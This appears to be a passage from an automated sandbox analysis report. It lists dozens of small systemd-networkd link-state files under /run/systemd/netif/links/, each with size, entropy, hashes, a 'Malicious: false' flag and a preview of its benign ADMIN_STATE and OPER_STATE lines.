SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1WRd9xN

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.746165876396585
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1XAilFy

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1Xhp4dU

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1Yt2iWe

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.746165876396585
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1ZJCbwV

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1awW6Rd

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1bRn277

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1buvfyc

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1cYuvFc

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1cw5880

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1d8AOKq

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1eaMxTE

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1eg7NPf

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1fWfBkO

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.746165876396585
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1ffWM5N

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1geE2LH

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.746165876396585
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1hxoiS7

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1iBkH4r

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.746165876396585
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1jKoso0

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1lpEj5j

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.746165876396585
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1m8DIpu

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.746165876396585
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1mBPoAu

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1mHw0VB

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1nIPbGj

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.746165876396585
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1ngy7Qy

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1oIjkmi

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1pcdivN

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.746165876396585
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1pydZPk

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1q8NUxj

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.746165876396585
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTmiUByysXX5:SbFuFyLsgByF
MD5:	F2959C9995C7373F825DC01493189A71
SHA1:	E987599A414651EC396111F01FD8C9853137B032
SHA-256:	87B474A7813BCC029AFADA32F22ADF6EB441AAED2B8B3F2A49D0B4A8748E9513
SHA-512:	AEDBE56173F54646C53696D8941E24CF9EF15FCB21ED9DE6AD440B2991089054532F49D757D8C4DD0774713FC50974201B8ECA993C40B3F96CACB678E38C9553
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=unmanaged.OPER_STATE=carrier.

/run/systemd/netif/links/.#1qKMbf8

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1qgtI69

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1s1UTbk

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1s7j7Of

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1sOA7aB

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1uFBunY

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

/run/systemd/netif/links/.#1utBaAq

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.690497464496268
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMshgTNcCXtsXX5:SbFuFyLsBcWw
MD5:	B1EFB6F8789C58FEF3094AA7F3213124
SHA1:	C1D38AF84F298C31B589EAAFCC7602B98389F466
SHA-256:	1DDC069D3CB1E04E30EEDC8A15DC4C2A4C5B62621F0A271C3280A47C871F8A13
SHA-512:	FAC04D09415B2E977D2A76DE826F6FEAE4F670A69B676A47D57E692E8FBEA7C63272CC517BF6CEADBA31240D73F72251E2B6253CDAA02DAD596213A33A899BF3
Malicious:	false
Preview:	# This is private data. Do not parse..ADMIN_STATE=pending.OPER_STATE=carrier.

